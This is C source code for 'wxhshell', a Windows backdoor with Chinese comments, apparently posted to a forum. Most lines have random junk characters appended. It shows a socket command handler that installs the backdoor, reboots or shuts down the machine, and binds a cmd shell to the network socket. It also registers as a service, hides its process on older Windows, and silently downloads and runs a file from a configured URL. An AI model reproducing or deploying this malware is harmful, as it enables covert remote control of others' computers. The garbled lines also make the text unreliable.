    switch(cmd[0]) { G*`H2-,  
  ,Ky-3p>  
  // 帮助 FX yyY-(O  
  case '?': { 2 &(w\#'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YKWiZ  
    break; z{>p<)h  
  } fr19C%{  
  // 安装 Miw*L;u@W  
  case 'i': { xn &$qLB  
    if(Install()) as k76  e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x!i(M>P  
    else NCXr$ES{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2w7PwNb*32  
    break; DHnO ,"  
    } ^&Exa6=*FT  
  // 卸载 +H4H$H  
  case 'r': { 2_i9 q>I  
    if(Uninstall()) j "^V?e5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yu~o9  
    else Dp8`O4YC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O'WB O"  
    break; J% b`*?A  
    } #Bih=A #  
  // 显示 wxhshell 所在路径 {,9^k'9  
  case 'p': { $vR#<a,7>  
    char svExeFile[MAX_PATH]; 82>90e(CH]  
    strcpy(svExeFile,"\n\r"); iPuX  
      strcat(svExeFile,ExeFile); 1Z$` }a  
        send(wsh,svExeFile,strlen(svExeFile),0); K<g<xW*X  
    break; Ofm?`SE*|  
    } xh90qm  
  // 重启 -".q=$f  
  case 'b': { |Y9mre.Y;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uc[ @]  
    if(Boot(REBOOT)) ?x\tE]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8NUVHcB6  
    else { e Lj1  
    closesocket(wsh); f~rq)2V:  
    ExitThread(0); '=V!Y$tn  
    }  45qSt2  
    break; K.R4.{mo  
    } f)b+>!  
  // 关机 Dus [N< w  
  case 'd': { 89kxRH\IhG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j{`C|zg  
    if(Boot(SHUTDOWN)) &hSABtr}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )*CDufRFz  
    else { 5j{jbo =!  
    closesocket(wsh); r2xXS&9!|  
    ExitThread(0); M];?W  
    } P\nz;}nv  
    break; h;lg^zlTb  
    } YTk"'q-  
  // 获取shell lR8Lfa*/7  
  case 's': { jI;iTKjB(  
    CmdShell(wsh); "dItv#<:}  
    closesocket(wsh); ^{m&2l&87  
    ExitThread(0); |GLh|hr  
    break; uex m|5|  
  } |u@/,x/t  
  // 退出 zQ=c6xvm8  
  case 'x': { t!285J8tn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ..=WG@>$+  
    CloseIt(wsh); c(j|xQ\pE  
    break; 2x<A7l)6  
    } 937 z*mh  
  // 离开 <|kS`y  
  case 'q': { 7%0V?+]P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bgNN0,+8  
    closesocket(wsh); |({ M8!BS  
    WSACleanup(); <8,,pOb  
    exit(1); tEbR/? ,GI  
    break; )/vse5EG+  
        } Ig{ 3>vB  
  } ToXgl4:kd  
  } !VoAN5#;  
;J&p17~T9  
  // 提示信息 |Vj@;+/j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EG&97l b  
} +bhR[V{0g  
  } mV'XH  
q[ -YXO  
  return; Jjr&+Q^3Tu  
} ,'%wadOo  
m,X8Cy|vQ  
// shell模块句柄 KccIYn~  
int CmdShell(SOCKET sock) i .GJO +K  
{ 4Y/kf%]]A  
STARTUPINFO si; AW')*{/(Ii  
ZeroMemory(&si,sizeof(si)); Fo:60)Lr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` v"p""_H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5IJm_oy  
PROCESS_INFORMATION ProcessInfo; 4b/>ZHFOF;  
char cmdline[]="cmd"; >DSD1i+N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9ZVzIv(   
  return 0; t"Tv(W?_  
} Kwmtt  
F39H@%R  
// 自身启动模式 R<eD)+  
int StartFromService(void) IJQ" *;  
{ O+w82!<:  
typedef struct 5 >c,#*  
{ W3M1> (  
  DWORD ExitStatus; n8RE  
  DWORD PebBaseAddress; a@ v}j&  
  DWORD AffinityMask; O>tz;RU  
  DWORD BasePriority; ,"xr^@W  
  ULONG UniqueProcessId; \|f3\4;!  
  ULONG InheritedFromUniqueProcessId; ,l )7]p*X  
}   PROCESS_BASIC_INFORMATION; CEXD0+\q  
ar[I| Q_  
PROCNTQSIP NtQueryInformationProcess; =g3o@WD/G  
Z.$)#vM5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BufXnMh.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kwAL] kI  
QMQ\y8E  
  HANDLE             hProcess; r Y#^C  
  PROCESS_BASIC_INFORMATION pbi; 0n)99Osq(u  
R[vA%G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); - xE%`X  
  if(NULL == hInst ) return 0; 7mBH #Q)  
g=)OcTd#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E-v#G~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AQU^7O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bZ-_Q  
gCjW !t  
  if (!NtQueryInformationProcess) return 0; L}hc|(:  
Gzw9E.Hk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^/M-*U8ab  
  if(!hProcess) return 0; l+XTn;cS  
@lhjO>@#I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6cVJu%<V  
jV 98 2Y  
  CloseHandle(hProcess); [~Vj(H=KwI  
[yn\O=%5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \NF5)]:  
if(hProcess==NULL) return 0; b sM ]5^  
/t|Lu@&:Xo  
HMODULE hMod; HOSt0IHzty  
char procName[255]; *$ kpSph  
unsigned long cbNeeded; bD:[r))#e  
$GJuS^@%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &$NYZ3?9  
/3KPK4!m  
  CloseHandle(hProcess); O-,0c1ts  
!eP)"YWI3  
if(strstr(procName,"services")) return 1; // 以服务启动 $_Kcm"oj  
6+LBs.vl}  
  return 0; // 注册表启动 E'iN==p_:  
} m/bP`-/,  
N?j#=b+D  
// 主模块 lK"m|Z  
int StartWxhshell(LPSTR lpCmdLine) $VNj0i. Pr  
{ nAT,y9&  
  SOCKET wsl; Q^} Ib[  
BOOL val=TRUE; 6^VPRp  
  int port=0; Em]2K:  
  struct sockaddr_in door; 5D6 ,B  
,ui=Wi1  
  if(wscfg.ws_autoins) Install(); `3?5Z/,y  
,k |QuOrCh  
port=atoi(lpCmdLine); y}*J_7-  
r>_40+|&  
if(port<=0) port=wscfg.ws_port; "STd ;vR  
4r tNvf5`  
  WSADATA data; zXZXp~7)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~kp,;!^vr  
i38`2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t$EL3U/(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +aZcA#%  
  door.sin_family = AF_INET; T?k!%5,Kj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?8!\VNC.  
  door.sin_port = htons(port); &[W53Lqa  
G/N1[)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]S+KH \2  
closesocket(wsl); Y_= ]w1  
return 1; *b,4qMr  
} h1Nd1h@-   
60--6n  
  if(listen(wsl,2) == INVALID_SOCKET) { yN{TcX  
closesocket(wsl); Csf!I@}Z  
return 1; _~.S~;o!b  
} ]Ei*I}  
  Wxhshell(wsl); z2U^z*n{  
  WSACleanup(); 3,yzRb  
| {Tq/  
return 0; K};~A?ET,h  
1"S~#  
} t_kRYdW9  
Y+nk:9  
// 以NT服务方式启动 ' '<3;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |crm{]7X  
{ L/xTW  
DWORD   status = 0; NiBly  
  DWORD   specificError = 0xfffffff; 0q o]nw  
3W3)%[ 5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k*K.ZS688  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uJSzz:\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e]*@|e4b  
  serviceStatus.dwWin32ExitCode     = 0; U(:Di]>{  
  serviceStatus.dwServiceSpecificExitCode = 0; 4`/Td?THx  
  serviceStatus.dwCheckPoint       = 0; 9GtVcucN  
  serviceStatus.dwWaitHint       = 0; p8(Z{TSv  
h'.B-y~c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a`6R}|ZB  
  if (hServiceStatusHandle==0) return; Dg}$;PK  
8 k )i-&R  
status = GetLastError(); '0<9+A#  
  if (status!=NO_ERROR) i\dd  
{ ']U<R=5T$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yrG=2{I  
    serviceStatus.dwCheckPoint       = 0; V/]o':  
    serviceStatus.dwWaitHint       = 0; &3f^]n!@  
    serviceStatus.dwWin32ExitCode     = status; .&2~g A  
    serviceStatus.dwServiceSpecificExitCode = specificError; g4^3H3Pd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yY_#fJj  
    return; zuS4N?t`p  
  } PW+B&7{  
0]xp"xOwW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MW|R)gt  
  serviceStatus.dwCheckPoint       = 0; f~:wI9  
  serviceStatus.dwWaitHint       = 0; gMsB1|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z '~Ie~  
} H>F j  
u;9a/RI  
// 处理NT服务事件,比如:启动、停止 c@Xb6z_>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) heScIe N^`  
{ .oqe0$I  
switch(fdwControl) LRqlK\  
{ ^{a_:r"  
case SERVICE_CONTROL_STOP: e.WKf,e"X  
  serviceStatus.dwWin32ExitCode = 0; `r]C%Y4?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =Q#d0Q  
  serviceStatus.dwCheckPoint   = 0; 2H/{OQ$  
  serviceStatus.dwWaitHint     = 0; mo"1|Q&  
  { elz0t<V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,</Kn~b  
  } &l0 ,q=T  
  return; et=i@PB)  
case SERVICE_CONTROL_PAUSE: `(M0I!t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0i(c XB  
  break; ^s\T<;  
case SERVICE_CONTROL_CONTINUE: -tA_"q'^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Mc{-2  
  break; z) x.6  
case SERVICE_CONTROL_INTERROGATE: "KgNMNep  
  break; ;KgDVq5  
}; G7%f| Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~\+Bb8+hpJ  
} 4"veqrC  
` <u2 N  
// 标准应用程序主函数 @H$Sv   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PR7B Cxm  
{ 1E=E ?$9sg  
x(A8FtG  
// 获取操作系统版本 r@EHn[w  
OsIsNt=GetOsVer(); W5>emx'>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +K?sg;  
wz>[CXpi_  
  // 从命令行安装 B+z>$6  
  if(strpbrk(lpCmdLine,"iI")) Install(); m qwJya  
P=.~LZZ]89  
  // 下载执行文件 9.BgsV .  
if(wscfg.ws_downexe) { VniU:A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kK:U+`+  
  WinExec(wscfg.ws_filenam,SW_HIDE); e~geBlLar  
} o4jh n[Fx  
5?m4B:W  
if(!OsIsNt) { EHK+qrym  
// 如果时win9x,隐藏进程并且设置为注册表启动 :eIQF7-  
HideProc(); 0i>p1/kv  
StartWxhshell(lpCmdLine); O l;DJV  
} :!JQ<kV  
else Ygc|9}  
  if(StartFromService()) K>TEt5  
  // 以服务方式启动 CSY-{  
  StartServiceCtrlDispatcher(DispatchTable); R6TT1Ka3c  
else 7^syu;DT9Y  
  // 普通方式启动 t N4-<6  
  StartWxhshell(lpCmdLine); / ;+Mz*  
@w;$M]o1  
return 0; Oh%p1$H  
}
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只看该作者 1 发表于: 2006-10-10
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